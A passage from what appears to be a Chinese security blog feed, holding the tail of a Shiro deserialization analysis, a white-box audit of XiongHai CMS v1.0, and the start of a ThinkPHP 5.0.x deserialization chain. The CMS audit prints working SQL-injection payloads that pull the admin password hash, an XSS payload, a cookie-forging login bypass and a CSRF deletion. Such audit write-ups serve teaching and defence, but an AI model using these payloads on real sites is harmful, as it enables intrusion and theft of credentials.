class="line"> <span class="comment">// 'initializationVectorSize' attribute.</span></span><br><span class="line"> <span class="comment">// - the remaining bytes in the method argument (arg.length - N) is the real cipher text.</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">//So we need to chunk the method argument into its constituent parts to find the IV and then use</span></span><br><span class="line"> <span class="comment">//the IV to decrypt the real ciphertext:</span></span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> <span class="variable">ivSize</span> <span class="operator">=</span> getInitializationVectorSize();</span><br><span class="line"> <span class="type">int</span> <span class="variable">ivByteSize</span> <span class="operator">=</span> ivSize / BITS_PER_BYTE;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//now we know how large the iv is, so extract the iv bytes:</span></span><br><span class="line"> iv = <span class="keyword">new</span> <span class="title class_">byte</span>[ivByteSize];</span><br><span class="line"> System.arraycopy(ciphertext, <span class="number">0</span>, iv, <span class="number">0</span>, ivByteSize);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//remaining data is the actual encrypted ciphertext. Isolate it:</span></span><br><span class="line"> <span class="type">int</span> <span class="variable">encryptedSize</span> <span class="operator">=</span> ciphertext.length - ivByteSize;</span><br><span class="line"> encrypted = <span class="keyword">new</span> <span class="title class_">byte</span>[encryptedSize];</span><br><span class="line"> System.arraycopy(ciphertext, ivByteSize, encrypted, <span class="number">0</span>, encryptedSize);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">msg</span> <span class="operator">=</span> <span class="string">"Unable to correctly extract the Initialization Vector or ciphertext."</span>;</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">CryptoException</span>(msg, e);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> decrypt(encrypted, key, iv);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>再来来看下解密的函数</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="type">byte</span>[] decrypt(<span class="type">byte</span>[] encrypted) {</span><br><span class="line"> <span class="type">byte</span>[] serialized = encrypted;</span><br><span class="line"> <span class="type">CipherService</span> <span class="variable">cipherService</span> <span class="operator">=</span> getCipherService();</span><br><span class="line"> <span class="keyword">if</span> (cipherService != <span class="literal">null</span>) {</span><br><span class="line"> <span class="type">ByteSource</span> <span class="variable">byteSource</span> <span class="operator">=</span> cipherService.decrypt(encrypted, getDecryptionCipherKey());</span><br><span class="line"> serialized = byteSource.getBytes();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> serialized;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里获取了解密的秘钥<br>一直跟进到后面发现其就是常量并写在代码中</p><p><img src="https://img-blog.csdnimg.cn/7f6ef9f09f89459d8a94b4261d698fff.png" alt="在这里插入图片描述"><br>接着在跟进反序列化</p><p><img src="https://img-blog.csdnimg.cn/2f0b730669b84d40b4e8051b96ac04ab.png" alt="在这里插入图片描述"></p><p>是通过原生的 <code>readObject</code> 触发反序列化</p><h3 id="结尾"><a class="markdownIt-Anchor" href="#结尾">#</a> 结尾</h3><p>这里就没有复现了<br>知识整理一下以前的笔记<br>可以用 vulhub 直接复现</p><p>最后的最后</p><h1 id="热烈庆祝中国人民解放军成立95周年"><a class="markdownIt-Anchor" href="#热烈庆祝中国人民解放军成立95周年">#</a> 热烈庆祝中国人民解放军成立 95 周年</h1>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>熊海CMS_V1.0-白盒代码审计</title>
<link href="/2022/07/30/%E7%86%8A%E6%B5%B7CMS_V1.0-%E7%99%BD%E7%9B%92%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<url>/2022/07/30/%E7%86%8A%E6%B5%B7CMS_V1.0-%E7%99%BD%E7%9B%92%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/</url>
<content type="html"><![CDATA[<h3 id="准备"><a class="markdownIt-Anchor" href="#准备">#</a> 准备</h3><p>下载<br>安装<br>搭建环境</p><h3 id="代码审计"><a class="markdownIt-Anchor" href="#代码审计">#</a> 代码审计</h3><p>在 <code>index.php</code> 中存在一处 <code>include</code> ,明显的文件包含,并且没有任何过滤</p><h4 id="文件包含"><a class="markdownIt-Anchor" href="#文件包含">#</a> 文件包含</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">//单一入口模式</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>); <span class="comment">//关闭错误显示</span></span><br><span class="line"><span class="variable">$file</span>=<span class="title function_ invoke__">addslashes</span>(<span class="variable">$_GET</span>[<span class="string">'r'</span>]); <span class="comment">//接收文件名</span></span><br><span class="line"><span class="variable">$action</span>=<span class="variable">$file</span>==<span class="string">''</span>?<span class="string">'index'</span>:<span class="variable">$file</span>; <span class="comment">//判断为空或者等于index</span></span><br><span class="line"><span class="keyword">include</span>(<span class="string">'files/'</span>.<span class="variable">$action</span>.<span class="string">'.php'</span>); <span class="comment">//载入相应文件</span></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>包含是 <code>files</code> 文件夹下<br>那这里也可以在当前目录下创建恶意文件或者是根目录下,因为是可以目录穿越的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">phpinfo</span>();</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/7e89b4647e444122bd396834f10c0aa6.png" alt="在这里插入图片描述"><br>同样在 <code>admin.</code> 目录下也同样存在</p><h4 id="sql注入"><a class="markdownIt-Anchor" href="#sql注入">#</a> SQL 注入</h4><p><code>admin/files/login.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line"><span class="title function_ invoke__">ob_start</span>();</span><br><span class="line"><span class="keyword">require</span> <span class="string">'../inc/conn.php'</span>;</span><br><span class="line"><span class="variable">$login</span>=<span class="variable">$_POST</span>[<span class="string">'login'</span>];</span><br><span class="line"><span class="variable">$user</span>=<span class="variable">$_POST</span>[<span class="string">'user'</span>];</span><br><span class="line"><span class="variable">$password</span>=<span class="variable">$_POST</span>[<span class="string">'password'</span>];</span><br><span class="line"><span class="variable">$checkbox</span>=<span class="variable">$_POST</span>[<span class="string">'checkbox'</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$login</span><><span class="string">""</span>){</span><br><span class="line"><span class="variable">$query</span> = <span class="string">"SELECT * FROM manage WHERE user='<span class="subst">$user</span>'"</span>;</span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>(<span class="variable">$query</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.<span class="title function_ invoke__">mysql_error</span>());</span><br><span class="line"><span class="variable">$users</span> = <span class="title function_ invoke__">mysql_fetch_array</span>(<span class="variable">$result</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">mysql_num_rows</span>(<span class="variable">$result</span>)) { </span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="variable">$passwords</span>=<span class="variable">$users</span>[<span class="string">'password'</span>];</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">md5</span>(<span class="variable">$password</span>)<><span class="variable">$passwords</span>){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">//写入登录信息并记住30天</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$checkbox</span>==<span class="number">1</span>){</span><br><span class="line"><span class="title function_ invoke__">setcookie</span>(<span class="string">'user'</span>,<span class="variable">$user</span>,<span class="title function_ invoke__">time</span>()+<span class="number">3600</span>*<span class="number">24</span>*<span class="number">30</span>,<span class="string">'/'</span>);</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="title function_ invoke__">setcookie</span>(<span class="string">'user'</span>,<span class="variable">$user</span>,<span class="number">0</span>,<span class="string">'/'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<script>this.location='?r=index'</script>"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>对获取的参数没有过滤就直接拼接到 sql 查询语句</p><p>这里会对 <code>password</code> md5 处理并对照,并在结果查询中开启了 <code>mysql_error()</code> 那很明显可以进行报错注入</p><p>版本</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">user=<span class="number">1</span><span class="string">' or updatexml(1,concat(0x7e,(select @@version)),0) #</span></span><br><span class="line"><span class="string">&password=1&login=yes</span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/42cebfa1b45442d98a8c47d4e6a133eb.png" alt="在这里插入图片描述"></p><p>密码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">user=<span class="number">1</span><span class="string">' or updatexml(1,concat(0x7e,(select concat(0x7e,password) from manage)),0) #</span></span><br><span class="line"><span class="string">&password=1&login=yes</span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/225b599049ac4b2a8fbecf241d038868.png" alt="在这里插入图片描述"></p><p><img src="https://img-blog.csdnimg.cn/c5e4777e23804a90b2a6bc6a0c17d1d6.png" alt="在这里插入图片描述"></p><p><code>install/index.php</code> <br> 记得把之前安装好的删除再进行注入</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">' and updatexml(1,concat(0x7e,(user()),0x7e),1)#</span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/a34acf2c3f8441e48172c430f347ac5d.png" alt="在这里插入图片描述"></p><h4 id="xss"><a class="markdownIt-Anchor" href="#xss">#</a> XSS</h4><p><code>files/contact.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$page</span>=<span class="title function_ invoke__">addslashes</span>(<span class="variable">$_GET</span>[<span class="string">'page'</span>]); <span class="comment">//59行</span></span><br><span class="line"><span class="meta"><?php</span> <span class="keyword">echo</span> <span class="variable">$page</span><span class="meta">?></span> <span class="comment">//139行</span></span><br></pre></td></tr></table></figure><p>反射型</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?r=contact&page=<img src=<span class="number">1</span> onerror=<span class="title function_ invoke__">alert</span>(/ki10Moc/)></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/a36d851dc4e440b7a81dd286b15e1a5f.png" alt="在这里插入图片描述"></p><p>存储型</p><p><code>admin/files/manageinfo.php</code></p><p>直接与数据库进行交互</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">'../inc/checklogin.php'</span>;</span><br><span class="line"><span class="keyword">require</span> <span class="string">'../inc/conn.php'</span>;</span><br><span class="line"><span class="variable">$setopen</span>=<span class="string">'class="open"'</span>;</span><br><span class="line"><span class="variable">$query</span> = <span class="string">"SELECT * FROM manage"</span>;</span><br><span class="line"><span class="variable">$resul</span> = <span class="title function_ invoke__">mysql_query</span>(<span class="variable">$query</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.<span class="title function_ invoke__">mysql_error</span>());</span><br><span class="line"><span class="variable">$manage</span> = <span class="title function_ invoke__">mysql_fetch_array</span>(<span class="variable">$resul</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$save</span>=<span class="variable">$_POST</span>[<span class="string">'save'</span>];</span><br><span class="line"></span><br><span class="line"><span class="variable">$user</span>=<span class="variable">$_POST</span>[<span class="string">'user'</span>];</span><br><span class="line"><span class="variable">$name</span>=<span class="variable">$_POST</span>[<span class="string">'name'</span>];</span><br><span class="line"><span class="variable">$password</span>=<span class="variable">$_POST</span>[<span class="string">'password'</span>];</span><br><span class="line"><span class="variable">$password2</span>=<span class="variable">$_POST</span>[<span class="string">'password2'</span>];</span><br><span class="line"><span class="variable">$img</span>=<span class="variable">$_POST</span>[<span class="string">'img'</span>];</span><br><span class="line"><span class="variable">$mail</span>=<span class="variable">$_POST</span>[<span class="string">'mail'</span>];</span><br><span class="line"><span class="variable">$qq</span>=<span class="variable">$_POST</span>[<span class="string">'qq'</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$save</span>==<span class="number">1</span>){</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$user</span>==<span class="string">""</span>){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<script>alert('抱歉,帐号不能为空。');history.back()</script>"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$name</span>==<span class="string">""</span>){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<script>alert('抱歉,名称不能为空。');history.back()</script>"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$password</span><><span class="variable">$password2</span>){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<script>alert('抱歉,两次密码输入不一致!');history.back()</script>"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//处理图片上传</span></span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="variable">$_FILES</span>[<span class="string">'images'</span>][<span class="string">'tmp_name'</span>])){</span><br><span class="line"><span class="variable">$query</span> = <span class="string">"SELECT * FROM imageset"</span>;</span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>(<span class="variable">$query</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.<span class="title function_ invoke__">mysql_error</span>());</span><br><span class="line"><span class="variable">$imageset</span> = <span class="title function_ invoke__">mysql_fetch_array</span>(<span class="variable">$result</span>);</span><br><span class="line"><span class="keyword">include</span> <span class="string">'../inc/up.class.php'</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$HTTP_POST_FILES</span>[<span class="string">'images'</span>][<span class="string">'tmp_name'</span>]))<span class="comment">//判断接收数据是否为空</span></span><br><span class="line">{</span><br><span class="line"><span class="variable">$tmp</span> = <span class="keyword">new</span> <span class="title class_">FileUpload_Single</span>;</span><br><span class="line"><span class="variable">$upload</span>=<span class="string">"../upload/touxiang"</span>;<span class="comment">//图片上传的目录,这里是当前目录下的upload目录,可自已修改</span></span><br><span class="line"><span class="variable">$tmp</span> -> accessPath =<span class="variable">$upload</span>;</span><br><span class="line"><span class="keyword">if</span> ( <span class="variable">$tmp</span> -> <span class="title function_ invoke__">TODO</span>() )</span><br><span class="line">{</span><br><span class="line"><span class="variable">$filename</span>=<span class="variable">$tmp</span> -> newFileName;<span class="comment">//生成的文件名</span></span><br><span class="line"><span class="variable">$filename</span>=<span class="variable">$upload</span>.<span class="string">'/'</span>.<span class="variable">$filename</span>;</span><br><span class="line"><span class="variable">$imgsms</span>=<span class="string">"及图片"</span>;</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$filename</span><><span class="string">""</span>){</span><br><span class="line"><span class="variable">$images</span>=<span class="string">"img='<span class="subst">$filename</span>',"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$password</span><><span class="string">""</span>){</span><br><span class="line"><span class="variable">$password</span>=<span class="title function_ invoke__">md5</span>(<span class="variable">$password</span>);</span><br><span class="line"><span class="variable">$password</span>=<span class="string">"password='<span class="subst">$password</span>',"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="variable">$query</span> = <span class="string">"UPDATE manage SET </span></span><br><span class="line"><span class="string">user='<span class="subst">$user</span>',</span></span><br><span class="line"><span class="string">name='<span class="subst">$name</span>',</span></span><br><span class="line"><span class="string"><span class="subst">$password</span></span></span><br><span class="line"><span class="string"><span class="subst">$images</span></span></span><br><span class="line"><span class="string">mail='<span class="subst">$mail</span>',</span></span><br><span class="line"><span class="string">qq='<span class="subst">$qq</span>',</span></span><br><span class="line"><span class="string">date=now()"</span>;</span><br><span class="line">@<span class="title function_ invoke__">mysql_query</span>(<span class="variable">$query</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'修改错误:'</span>.<span class="title function_ invoke__">mysql_error</span>());</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<script>alert('亲爱的,资料"</span>.<span class="variable">$imgsms</span>.<span class="string">"设置已成功更新!');location.href='?r=manageinfo'</script>"</span>; </span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="越权登录"><a class="markdownIt-Anchor" href="#越权登录">#</a> 越权登录</h4><p><code>inc/checklogin.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="variable">$user</span>=<span class="variable">$_COOKIE</span>[<span class="string">'user'</span>];</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$user</span>==<span class="string">""</span>){</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">"Location: ?r=login"</span>);</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>抓包可以看到数据面板没有 user 字段<br>直接添加 <code>user=admin</code> 即可</p><h4 id="csrf"><a class="markdownIt-Anchor" href="#csrf">#</a> CSRF</h4><p><code>admin/files/wzlist.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$delete</span>=<span class="variable">$_GET</span>[<span class="string">'delete'</span>];</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$delete</span><><span class="string">""</span>){</span><br><span class="line"><span class="variable">$query</span> = <span class="string">"DELETE FROM content WHERE id='<span class="subst">$delete</span>'"</span>;</span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>(<span class="variable">$query</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.<span class="title function_ invoke__">mysql_error</span>());</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<script>alert('亲,ID为"</span>.<span class="variable">$delete</span>.<span class="string">"的内容已经成功删除!');location.href='?r=wzlist'</script>"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>进行 <code>delete</code> 操作<br>在 <code>Cookie</code> 添加 <code>user=admin</code> 即可完成操作</p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> cms </tag>
</tags>
</entry>
<entry>
<title>ThinkPHP5.0.x 反序列化分析</title>
<link href="/2022/07/29/ThinkPHP5.0.x%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/"/>
<url>/2022/07/29/ThinkPHP5.0.x%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<h3 id="漏洞分析"><a class="markdownIt-Anchor" href="#漏洞分析">#</a> 漏洞分析</h3><p>起点为 /thinkphp/library/think/process/pipes/Windows.php 的__destruct ()</p><p><img src="https://img-blog.csdnimg.cn/9336a4bf7ec34871a412ae513931bc7d.png" alt="在这里插入图片描述"></p><p>跟进其中的 removeFiles () 函数</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">removeFiles</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable language_">$this</span>->files <span class="keyword">as</span> <span class="variable">$filename</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">file_exists</span>(<span class="variable">$filename</span>)) {</span><br><span class="line"> @<span class="title function_ invoke__">unlink</span>(<span class="variable">$filename</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="variable language_">$this</span>->files = [];</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>其中 <code>files</code> 是可控的<br>这里存在任意文件删除的漏洞点</p><p>file_exists 对 filename 进行处理,会将其当做 String 类型的<br>可以触发任意类的 <code>__toString</code> 方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_writable</span>(<span class="params"><span class="keyword">string</span> <span class="variable">$filename</span></span>): <span class="title">bool</span> </span>{}</span><br></pre></td></tr></table></figure><p>在 <code>think</code> 下的 <code>Model.php</code> 中存在一处</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>-><span class="title function_ invoke__">toJson</span>();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>一直到 <code>toArray</code> 方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 转换当前模型对象为数组</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> array</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">toArray</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable">$item</span> = [];</span><br><span class="line"> <span class="variable">$visible</span> = [];</span><br><span class="line"> <span class="variable">$hidden</span> = [];</span><br><span class="line"></span><br><span class="line"> <span class="variable">$data</span> = <span class="title function_ invoke__">array_merge</span>(<span class="variable">$this</span>->data, <span class="variable">$this</span>->relation);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 过滤属性</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable language_">$this</span>->visible)) {</span><br><span class="line"> <span class="variable">$array</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">parseAttr</span>(<span class="variable">$this</span>->visible, <span class="variable">$visible</span>);</span><br><span class="line"> <span class="variable">$data</span> = <span class="title function_ invoke__">array_intersect_key</span>(<span class="variable">$data</span>, <span class="title function_ invoke__">array_flip</span>(<span class="variable">$array</span>));</span><br><span class="line"> } <span class="keyword">elseif</span> (!<span class="keyword">empty</span>(<span class="variable language_">$this</span>->hidden)) {</span><br><span class="line"> <span class="variable">$array</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">parseAttr</span>(<span class="variable">$this</span>->hidden, <span class="variable">$hidden</span>, <span class="literal">false</span>);</span><br><span class="line"> <span class="variable">$data</span> = <span class="title function_ invoke__">array_diff_key</span>(<span class="variable">$data</span>, <span class="title function_ invoke__">array_flip</span>(<span class="variable">$array</span>));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$data</span> <span class="keyword">as</span> <span 